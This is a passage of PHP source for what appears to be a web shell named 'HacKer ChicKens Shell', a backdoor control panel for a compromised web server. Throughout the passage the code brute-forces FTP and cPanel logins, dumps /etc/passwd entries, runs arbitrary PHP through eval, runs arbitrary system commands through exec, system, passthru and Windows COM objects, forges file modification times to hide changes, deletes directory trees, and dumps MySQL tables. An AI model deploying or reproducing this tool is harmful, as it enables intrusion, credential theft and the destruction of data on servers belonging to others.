  1313. if ( curl_errno($ch) == 28 ) {
  1314. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1315. exit;}
  1316. elseif ( curl_errno($ch) == 0 ){
  1317.  
  1318. p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
  1319.  
  1320. if(isset($submit) && !empty($submit)){
  1321.  
  1322. $userlist = explode ("\n" , $users );
  1323. $passlist = explode ("\n" , $pass );
  1324. p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
  1325. foreach ($userlist as $user) {
  1326. $_user = trim($user);
  1327. foreach ($passlist as $password ) {
  1328. $_pass = trim($password);
  1329. if($option == "ftp"){
  1330. ftp_check($target,$_user,$_pass,$connect_timeout);
  1331. }
  1332. if ($option == "cpanel")
  1333. {
  1334. cpanel_check($target,$_user,$_pass,$connect_timeout);
  1335. }
  1336. }
  1337. }
  1338. }
  1339.  
  1340.     formfoot();
  1341. }
  1342.  
  1343.  
  1344.  
  1345.  
  1346.  
  1347.  
  1348. elseif ($action == 'etcpwd') {
  1349. formhead(array('title'=>'Get /etc/passwd'));
  1350.     makehide('action','etcpwd');
  1351.     makehide('dir',$nowpath);
  1352. $i = 0;
  1353.  echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
  1354. while ($i < 60000) {
  1355.  
  1356.     $line = posix_getpwuid($i);
  1357.     if (!empty($line)) {
  1358.  
  1359.         while (list ($key, $vba_etcpwd) = each($line)){
  1360.             echo "".$vba_etcpwd."\n";
  1361.             break;
  1362.         }
  1363.  
  1364.     }
  1365.  
  1366.    $i++;
  1367. }
  1368.   echo "</textarea></p>";
  1369.     formfoot();
  1370. }
  1371.  
  1372. elseif ($action == 'eval') {
  1373.     $phpcode = trim($phpcode);
  1374.     if($phpcode){
  1375.         if (!preg_match('#<\?#si', $phpcode)) {
  1376.             $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  1377.         }
  1378.         eval("?".">$phpcode<?");
  1379.     }
  1380.     formhead(array('title'=>'Eval PHP Code'));
  1381.     makehide('action','eval');
  1382.     maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  1383.     p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
  1384.     formfooter();
  1385. }//end eval
  1386.  
  1387. elseif ($action == 'editfile') {
  1388.     if(file_exists($opfile)) {
  1389.         $fp=@fopen($opfile,'r');
  1390.         $contents=@fread($fp, filesize($opfile));
  1391.         @fclose($fp);
  1392.         $contents=htmlspecialchars($contents);
  1393.     }
  1394.     formhead(array('title'=>'Create / Edit File'));
  1395.     makehide('action','file');
  1396.     makehide('dir',$nowpath);
  1397.     makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1398.     maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1399.     formfooter();
  1400. }//end editfile
  1401.  
  1402. elseif ($action == 'newtime') {
  1403.     $opfilemtime = @filemtime($opfile);
  1404.     //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  1405.     $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1406.     formhead(array('title'=>'Clone file was last modified time'));
  1407.     makehide('action','file');
  1408.     makehide('dir',$nowpath);
  1409.     makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1410.     makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1411.     formfooter();
  1412.     formhead(array('title'=>'Set last modified'));
  1413.     makehide('action','file');
  1414.     makehide('dir',$nowpath);
  1415.     makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1416.     p('<p>Instead &raquo;');
  1417.     p('year:');
  1418.     makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1419.     p('month:');
  1420.     makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1421.     p('day:');
  1422.     makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1423.     p('hour:');
  1424.     makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1425.     p('minute:');
  1426.     makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1427.     p('second:');
  1428.     makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1429.     p('</p>');
  1430.     formfooter();
  1431. }//end newtime
  1432.  
  1433. elseif ($action == 'shell') {
  1434.     if (IS_WIN && IS_COM) {
  1435.         if($program && $parameter) {
  1436.             $shell= new COM('Shell.Application');
  1437.             $a = $shell->ShellExecute($program,$parameter);
  1438.             m('Program run has '.(!$a ? 'success' : 'fail'));
  1439.         }
  1440.         !$program && $program = 'c:\windows\system32\cmd.exe';
  1441.         !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1442.         formhead(array('title'=>'Execute Program'));
  1443.         makehide('action','shell');
  1444.         makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1445.         p('<p>');
  1446.         makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1447.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1448.         p('</p>');
  1449.         formfoot();
  1450.     }
  1451.     formhead(array('title'=>'Execute Command'));
  1452.     makehide('action','shell');
  1453.     if (IS_WIN && IS_COM) {
  1454.         $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1455.         makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1456.     }
  1457.     p('<p>');
  1458.     makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1459.     makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1460.     p('</p>');
  1461.     formfoot();
  1462.  
  1463.     if ($command) {
  1464.         p('<hr width="100%" noshade /><pre>');
  1465.         if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1466.             $wsh = new COM('WScript.shell');
  1467.             $exec = $wsh->exec('cmd.exe /c '.$command);
  1468.             $stdout = $exec->StdOut();
  1469.             $stroutput = $stdout->ReadAll();
  1470.             echo $stroutput;
  1471.         } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1472.             $descriptorspec = array(
  1473.                0 => array('pipe', 'r'),
  1474.                1 => array('pipe', 'w'),
  1475.                2 => array('pipe', 'w')
  1476.             );
  1477.             $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1478.             if (is_resource($process)) {
  1479.                 fwrite($pipes[0], $command."\r\n");
  1480.                 fwrite($pipes[0], "exit\r\n");
  1481.                 fclose($pipes[0]);
  1482.                 while (!feof($pipes[1])) {
  1483.                     echo fgets($pipes[1], 1024);
  1484.                 }
  1485.                 fclose($pipes[1]);
  1486.                 while (!feof($pipes[2])) {
  1487.                     echo fgets($pipes[2], 1024);
  1488.                 }
  1489.                 fclose($pipes[2]);
  1490.                 proc_close($process);
  1491.             }
  1492.         } else {
  1493.             echo(execute($command));
  1494.         }
  1495.         p('</pre>');
  1496.     }
  1497. }//end shell
  1498.  
  1499. elseif ($action == 'phpenv') {
  1500.     $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  1501.     $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  1502.     !$dis_func && $dis_func = 'No';
  1503.     $info = array(
  1504.         1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  1505.         2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  1506.         3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  1507.         4 => array('Server OS',PHP_OS),
  1508.         5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  1509.         6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  1510.         7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  1511.         8 => array('PHP run mode',strtoupper(php_sapi_name())),
  1512.         9 => array('The file path',__FILE__),
  1513.  
  1514.         10 => array('PHP Version',PHP_VERSION),
  1515.         11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
  1516.         12 => array('Safe Mode',getcfg('safe_mode')),
  1517.         13 => array('Administrator',$adminmail),
  1518.         14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  1519.         15 => array('enable_dl',getcfg('enable_dl')),
  1520.         16 => array('display_errors',getcfg('display_errors')),
  1521.         17 => array('register_globals',getcfg('register_globals')),
  1522.         18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  1523.         19 => array('memory_limit',getcfg('memory_limit')),
  1524.         20 => array('post_max_size',getcfg('post_max_size')),
  1525.         21 => array('upload_max_filesize',$upsize),
  1526.         22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  1527.         23 => array('disable_functions',$dis_func),
  1528.     );
  1529.  
  1530.     if($phpvarname) {
  1531.         m($phpvarname .' : '.getcfg($phpvarname));
  1532.     }
  1533.  
  1534.     formhead(array('title'=>'Server environment'));
  1535.     makehide('action','phpenv');
  1536.     makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  1537.     formfooter();
  1538.  
  1539.     $hp = array(0=> 'Server', 1=> 'PHP');
  1540.     for($a=0;$a<2;$a++) {
  1541.         p('<h2>'.$hp[$a].' &raquo;</h2>');
  1542.         p('<ul class="info">');
  1543.         if ($a==0) {
  1544.             for($i=1;$i<=9;$i++) {
  1545.                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1546.             }
  1547.         } elseif ($a == 1) {
  1548.             for($i=10;$i<=23;$i++) {
  1549.                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1550.             }
  1551.         }
  1552.         p('</ul>');
  1553.     }
  1554. }//end phpenv
  1555.  
  1556. else {
  1557.     m('Undefined Action');
  1558. }
  1559.  
  1560. ?>
  1561.  
  1562. </td></tr></table>
  1563. <div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
  1564.     <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1565.     Copyright (C) 2011-2012 <B></B> - Develop by <a href=http://google.com target=_blank><B>HacKer ChicKens   </B></a> - <B>- The Legend of Vietnamese Hacker World</B> All Rights Reserved.
  1566. </div>
  1567. </body>
  1568. </noscript>
  1569.  
  1570. <?php
  1571.  
  1572. /*======================================================
  1573. Show info shell
  1574. ======================================================*/
  1575.  
  1576. function m($msg) {
  1577.     echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1578.     echo $msg;
  1579.     echo '</div>';
  1580. }
  1581. function scookie($key, $value, $life = 0, $prefix = 1) {
  1582.     global $admin, $timestamp, $_SERVER;
  1583.     $key = ($prefix ? $admin['cookiepre'] : '').$key;
  1584.     $life = $life ? $life : $admin['cookielife'];
  1585.     $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1586.     setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1587. }
  1588. function multi($num, $perpage, $curpage, $tablename) {
  1589.     $multipage = '';
  1590.     if($num > $perpage) {
  1591.         $page = 10;
  1592.         $offset = 5;
  1593.         $pages = @ceil($num / $perpage);
  1594.         if($page > $pages) {
  1595.             $from = 1;
  1596.             $to = $pages;
  1597.         } else {
  1598.             $from = $curpage - $offset;
  1599.             $to = $curpage + $page - $offset - 1;
  1600.             if($from < 1) {
  1601.                 $to = $curpage + 1 - $from;
  1602.                 $from = 1;
  1603.                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1604.                     $to = $page;
  1605.                 }
  1606.             } elseif($to > $pages) {
  1607.                 $from = $curpage - $pages + $to;
  1608.                 $to = $pages;
  1609.                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1610.                     $from = $pages - $page + 1;
  1611.                 }
  1612.             }
  1613.         }
  1614.         $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1615.         for($i = $from; $i <= $to; $i++) {
  1616.             $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1617.         }
  1618.         $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1619.         $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1620.     }
  1621.     return $multipage;
  1622. }
  1623. // Login page
  1624. function loginpage() {
  1625. ?>
  1626.  
  1627. <html>
  1628. <head>
  1629.  
  1630. <body bgcolor=black background=1.jpg>
  1631.  
  1632.         <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  1633. <title>.::[ HacKer ChicKens Shell ]::. </title>
  1634. <style type="text/css">
  1635. A:link {text-decoration: none; color: green }
  1636. A:visited {text-decoration: none;color:red}
  1637. A:active {text-decoration: none}
  1638. A:hover {text-decoration: underline; color: green;}
  1639. input, textarea, button
  1640. {
  1641.     font-size: 11pt;
  1642.     color:  #FFFFFF;
  1643.     font-family: verdana, sans-serif;
  1644.     background-color: #000000;
  1645.     border-left: 2px dashed #8B0000;
  1646.     border-top: 2px dashed #8B0000;
  1647.     border-right: 2px dashed #8B0000;
  1648.     border-bottom: 2px dashed #8B0000;
  1649. }
  1650.  
  1651. </style>
  1652.  
  1653.        <BR><BR>
  1654. <div align=center >
  1655.  
  1656. <div>
  1657.  
  1658. <font color=gray>
  1659. <br /><br /><br /><br /><br />
  1660.  
  1661. <form method="POST" action="">
  1662.     <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
  1663.     <input type="hidden" name="doing" value="login">
  1664.     <input type="submit" value="Login">
  1665.     </form>
  1666. <BR>
  1667. <?php
  1668. echo "".$err_mess."";
  1669. ?>
  1670.  
  1671.     <B><font color=red>
  1672.  
  1673.  
  1674.  
  1675.  
  1676.  
  1677.  
  1678. </div>
  1679.  
  1680.  
  1681.     </fieldset>
  1682.  
  1683.  
  1684.  
  1685. </head>
  1686. </html>
  1687.  
  1688. <?php
  1689.     exit;
  1690.  
  1691. }//end loginpage()
  1692.  
  1693. function execute($cfe) {
  1694.     $res = '';
  1695.     if ($cfe) {
  1696.         if(function_exists('exec')) {
  1697.             @exec($cfe,$res);
  1698.             $res = join("\n",$res);
  1699.         } elseif(function_exists('shell_exec')) {
  1700.             $res = @shell_exec($cfe);
  1701.         } elseif(function_exists('system')) {
  1702.             @ob_start();
  1703.             @system($cfe);
  1704.             $res = @ob_get_contents();
  1705.             @ob_end_clean();
  1706.         } elseif(function_exists('passthru')) {
  1707.             @ob_start();
  1708.             @passthru($cfe);
  1709.             $res = @ob_get_contents();
  1710.             @ob_end_clean();
  1711.         } elseif(@is_resource($f = @popen($cfe,"r"))) {
  1712.             $res = '';
  1713.             while(!@feof($f)) {
  1714.                 $res .= @fread($f,1024);
  1715.             }
  1716.             @pclose($f);
  1717.         }
  1718.     }
  1719.     return $res;
  1720. }
  1721. function which($pr) {
  1722.     $path = execute("which $pr");
  1723.     return ($path ? $path : $pr);
  1724. }
  1725.  
  1726. function cf($fname,$text){
  1727.     if($fp=@fopen($fname,'w')) {
  1728.         @fputs($fp,@base64_decode($text));
  1729.         @fclose($fp);
  1730.     }
  1731. }
  1732.  
  1733. // Debug
  1734. function debuginfo() {
  1735.     global $starttime;
  1736.     $mtime = explode(' ', microtime());
  1737.     $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  1738.     echo 'Processed in '.$totaltime.' second(s)';
  1739. }
  1740.  
  1741. // Function connect database
  1742. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1743.     if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1744.         p('<h2>Can not connect to MySQL server</h2>');
  1745.         exit;
  1746.     }
  1747.     if($link && $dbname) {
  1748.         if (!@mysql_select_db($dbname, $link)) {
  1749.             p('<h2>Database selected has error</h2>');
  1750.             exit;
  1751.         }
  1752.     }
  1753.     if($link && mysql_get_server_info() > '4.1') {
  1754.         if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  1755.             q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1756.         }
  1757.     }
  1758.     return $link;
  1759. }
  1760.  
  1761. // Array strip
  1762. function s_array(&$array) {
  1763.     if (is_array($array)) {
  1764.         foreach ($array as $k => $v) {
  1765.             $array[$k] = s_array($v);
  1766.         }
  1767.     } else if (is_string($array)) {
  1768.         $array = stripslashes($array);
  1769.     }
  1770.     return $array;
  1771. }
  1772.  
  1773. // HTML Strip
  1774. function html_clean($content) {
  1775.     $content = htmlspecialchars($content);
  1776.     $content = str_replace("\n", "<br />", $content);
  1777.     $content = str_replace("  ", "&nbsp;&nbsp;", $content);
  1778.     $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  1779.     return $content;
  1780. }
  1781.  
  1782. // Chmod
  1783. function getChmod($filepath){
  1784.     return substr(base_convert(@fileperms($filepath),10,8),-4);
  1785. }
  1786.  
  1787. function getPerms($filepath) {
  1788.     $mode = @fileperms($filepath);
  1789.     if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1790.     elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1791.     elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1792.     elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1793.     elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1794.     elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1795.     elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1796.     else {$type = '?';}
  1797.  
  1798.     $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1799.     $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1800.     $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1801.     $group['read'] = ($mode & 00040) ? 'r' : '-';
  1802.     $group['write'] = ($mode & 00020) ? 'w' : '-';
  1803.     $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1804.     $world['read'] = ($mode & 00004) ? 'r' : '-';
  1805.     $world['write'] = ($mode & 00002) ? 'w' : '-';
  1806.     $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1807.  
  1808.     if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1809.     if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1810.     if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1811.  
  1812.     return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1813. }
  1814.  
  1815. function getUser($filepath) {
  1816.     if (function_exists('posix_getpwuid')) {
  1817.         $array = @posix_getpwuid(@fileowner($filepath));
  1818.         if ($array && is_array($array)) {
  1819.             return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1820.         }
  1821.     }
  1822.     return '';
  1823. }
  1824.  
  1825. // Delete dir
  1826. function deltree($deldir) {
  1827.     $mydir=@dir($deldir);
  1828.     while($file=$mydir->read()) {
  1829.         if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  1830.             @chmod($deldir.'/'.$file,0777);
  1831.             deltree($deldir.'/'.$file);
  1832.         }
  1833.         if (is_file($deldir.'/'.$file)) {
  1834.             @chmod($deldir.'/'.$file,0777);
  1835.             @unlink($deldir.'/'.$file);
  1836.         }
  1837.     }
  1838.     $mydir->close();
  1839.     @chmod($deldir,0777);
  1840.     return @rmdir($deldir) ? 1 : 0;
  1841. }
  1842.  
  1843. // Background
  1844. function bg() {
  1845.     global $bgc;
  1846.     return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1847. }
  1848.  
  1849. // Get path
  1850. function getPath($scriptpath, $nowpath) {
  1851.     if ($nowpath == '.') {
  1852.         $nowpath = $scriptpath;
  1853.     }
  1854.     $nowpath = str_replace('\\', '/', $nowpath);
  1855.     $nowpath = str_replace('//', '/', $nowpath);
  1856.     if (substr($nowpath, -1) != '/') {
  1857.         $nowpath = $nowpath.'/';
  1858.     }
  1859.     return $nowpath;
  1860. }
  1861.  
  1862. // Get up path
  1863. function getUpPath($nowpath) {
  1864.     $pathdb = explode('/', $nowpath);
  1865.     $num = count($pathdb);
  1866.     if ($num > 2) {
  1867.         unset($pathdb[$num-1],$pathdb[$num-2]);
  1868.     }
  1869.     $uppath = implode('/', $pathdb).'/';
  1870.     $uppath = str_replace('//', '/', $uppath);
  1871.     return $uppath;
  1872. }
  1873.  
  1874. // Config
  1875. function getcfg($varname) {
  1876.     $result = get_cfg_var($varname);
  1877.     if ($result == 0) {
  1878.         return 'No';
  1879.     } elseif ($result == 1) {
  1880.         return 'Yes';
  1881.     } else {
  1882.         return $result;
  1883.     }
  1884. }
  1885.  
  1886. // Function name
  1887. function getfun($funName) {
  1888.     return (false !== function_exists($funName)) ? 'Yes' : 'No';
  1889. }
  1890.  
  1891. function GetList($dir){
  1892.     global $dirdata,$j,$nowpath;
  1893.     !$j && $j=1;
  1894.     if ($dh = opendir($dir)) {
  1895.         while ($file = readdir($dh)) {
  1896.             $f=str_replace('//','/',$dir.'/'.$file);
  1897.             if($file!='.' && $file!='..' && is_dir($f)){
  1898.                 if (is_writable($f)) {
  1899.                     $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  1900.                     $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1901.                     $dirdata[$j]['dirchmod']=getChmod($f);
  1902.                     $dirdata[$j]['dirperm']=getPerms($f);
  1903.                     $dirdata[$j]['dirlink']=ue($dir);
  1904.                     $dirdata[$j]['server_link']=$f;
  1905.                     $dirdata[$j]['client_link']=ue($f);
  1906.                     $j++;
  1907.                 }
  1908.                 GetList($f);
  1909.             }
  1910.         }
  1911.         closedir($dh);
  1912.         clearstatcache();
  1913.         return $dirdata;
  1914.     } else {
  1915.         return array();
  1916.     }
  1917. }
  1918.  
  1919. function qy($sql) {
  1920.     //echo $sql.'<br>';
  1921.     $res = $error = '';
  1922.     if(!$res = @mysql_query($sql)) {
  1923.         return 0;
  1924.     } else if(is_resource($res)) {
  1925.         return 1;
  1926.     } else {
  1927.         return 2;
  1928.     }
  1929.     return 0;
  1930. }
  1931.  
  1932. function q($sql) {
  1933.     return @mysql_query($sql);
  1934. }
  1935.  
  1936. function fr($qy){
  1937.     mysql_free_result($qy);
  1938. }
  1939.  
  1940. function sizecount($size) {
  1941.     if($size > 1073741824) {
  1942.         $size = round($size / 1073741824 * 100) / 100 . ' G';
  1943.     } elseif($size > 1048576) {
  1944.         $size = round($size / 1048576 * 100) / 100 . ' M';
  1945.     } elseif($size > 1024) {
  1946.         $size = round($size / 1024 * 100) / 100 . ' K';
  1947.     } else {
  1948.         $size = $size . ' B';
  1949.     }
  1950.     return $size;
  1951. }
  1952.  
  1953. // Zip
  1954. class PHPZip{
  1955.     var $out='';
  1956.     function PHPZip($dir)   {
  1957.         if (@function_exists('gzcompress')) {
  1958.             $curdir = getcwd();
  1959.             if (is_array($dir)) $filelist = $dir;
  1960.             else{
  1961.                 $filelist=$this -> GetFileList($dir);//File list
  1962.                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  1963.             }
  1964.             if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  1965.             else chdir($curdir);
  1966.             if (count($filelist)>0){
  1967.                 foreach($filelist as $filename){
  1968.                     if (is_file($filename)){
  1969.                         $fd = fopen ($filename, 'r');
  1970.                         $content = @fread ($fd, filesize($filename));
  1971.                         fclose ($fd);
  1972.                         if (is_array($dir)) $filename = basename($filename);
  1973.                         $this -> addFile($content, $filename);
  1974.                     }
  1975.                 }
  1976.                 $this->out = $this -> file();
  1977.                 chdir($curdir);
  1978.             }
  1979.             return 1;
  1980.         }
  1981.         else return 0;
  1982.     }
  1983.  
  1984.     // Show file list
  1985.     function GetFileList($dir){
  1986.         static $a;
  1987.         if (is_dir($dir)) {
  1988.             if ($dh = opendir($dir)) {
  1989.                 while ($file = readdir($dh)) {
  1990.                     if($file!='.' && $file!='..'){
  1991.                         $f=$dir .'/'. $file;
  1992.                         if(is_dir($f)) $this->GetFileList($f);
  1993.                         $a[]=$f;
  1994.                     }
  1995.                 }
  1996.                 closedir($dh);
  1997.             }
  1998.         }
  1999.         return $a;
  2000.     }
  2001.  
  2002.     var $datasec      = array();
  2003.     var $ctrl_dir     = array();
  2004.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  2005.     var $old_offset   = 0;
  2006.  
  2007.     function unix2DosTime($unixtime = 0) {
  2008.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  2009.         if ($timearray['year'] < 1980) {
  2010.             $timearray['year']    = 1980;
  2011.             $timearray['mon']     = 1;
  2012.             $timearray['mday']    = 1;
  2013.             $timearray['hours']   = 0;
  2014.             $timearray['minutes'] = 0;
  2015.             $timearray['seconds'] = 0;
  2016.         } // end if
  2017.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  2018.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  2019.     }
  2020.  
  2021.     function addFile($data, $name, $time = 0) {
  2022.         $name = str_replace('\\', '/', $name);
  2023.  
  2024.         $dtime = dechex($this->unix2DosTime($time));
  2025.         $hexdtime   = '\x' . $dtime[6] . $dtime[7]
  2026.                     . '\x' . $dtime[4] . $dtime[5]
  2027.                     . '\x' . $dtime[2] . $dtime[3]
  2028.                     . '\x' . $dtime[0] . $dtime[1];
  2029.         eval('$hexdtime = "' . $hexdtime . '";');
  2030.         $fr = "\x50\x4b\x03\x04";
  2031.         $fr .= "\x14\x00";
  2032.         $fr .= "\x00\x00";
  2033.         $fr .= "\x08\x00";
  2034.         $fr .= $hexdtime;
  2035.  
  2036.         $unc_len = strlen($data);
  2037.         $crc = crc32($data);
  2038.         $zdata = gzcompress($data);
  2039.         $c_len = strlen($zdata);
  2040.         $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  2041.         $fr .= pack('V', $crc);
  2042.         $fr .= pack('V', $c_len);
  2043.         $fr .= pack('V', $unc_len);
  2044.         $fr .= pack('v', strlen($name));
  2045.         $fr .= pack('v', 0);
  2046.         $fr .= $name;
  2047.         $fr .= $zdata;
  2048.         $fr .= pack('V', $crc);
  2049.         $fr .= pack('V', $c_len);
  2050.         $fr .= pack('V', $unc_len);
  2051.  
  2052.         $this -> datasec[] = $fr;
  2053.         $new_offset = strlen(implode('', $this->datasec));
  2054.  
  2055.         $cdrec = "\x50\x4b\x01\x02";
  2056.         $cdrec .= "\x00\x00";
  2057.         $cdrec .= "\x14\x00";
  2058.         $cdrec .= "\x00\x00";
  2059.         $cdrec .= "\x08\x00";
  2060.         $cdrec .= $hexdtime;
  2061.         $cdrec .= pack('V', $crc);
  2062.         $cdrec .= pack('V', $c_len);
  2063.         $cdrec .= pack('V', $unc_len);
  2064.         $cdrec .= pack('v', strlen($name) );
  2065.         $cdrec .= pack('v', 0 );
  2066.         $cdrec .= pack('v', 0 );
  2067.         $cdrec .= pack('v', 0 );
  2068.         $cdrec .= pack('v', 0 );
  2069.         $cdrec .= pack('V', 32 );
  2070.         $cdrec .= pack('V', $this -> old_offset );
  2071.         $this -> old_offset = $new_offset;
  2072.         $cdrec .= $name;
  2073.  
  2074.         $this -> ctrl_dir[] = $cdrec;
  2075.     }
  2076.  
  2077.     function file() {
  2078.         $data    = implode('', $this -> datasec);
  2079.         $ctrldir = implode('', $this -> ctrl_dir);
  2080.         return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  2081.     }
  2082. }
  2083.  
  2084. // Dump mysql
  2085. function sqldumptable($table, $fp=0) {
  2086.     $tabledump = "DROP TABLE IF EXISTS $table;\n";
  2087.     $tabledump .= "CREATE TABLE $table (\n";
  2088.  
  2089.     $firstfield=1;
  2090.  
  2091.     $fields = q("SHOW FIELDS FROM $table");
  2092.     while ($field = mysql_fetch_array($fields)) {
  2093.         if (!$firstfield) {
  2094.             $tabledump .= ",\n";
  2095.         } else {
  2096.             $firstfield=0;
  2097.         }
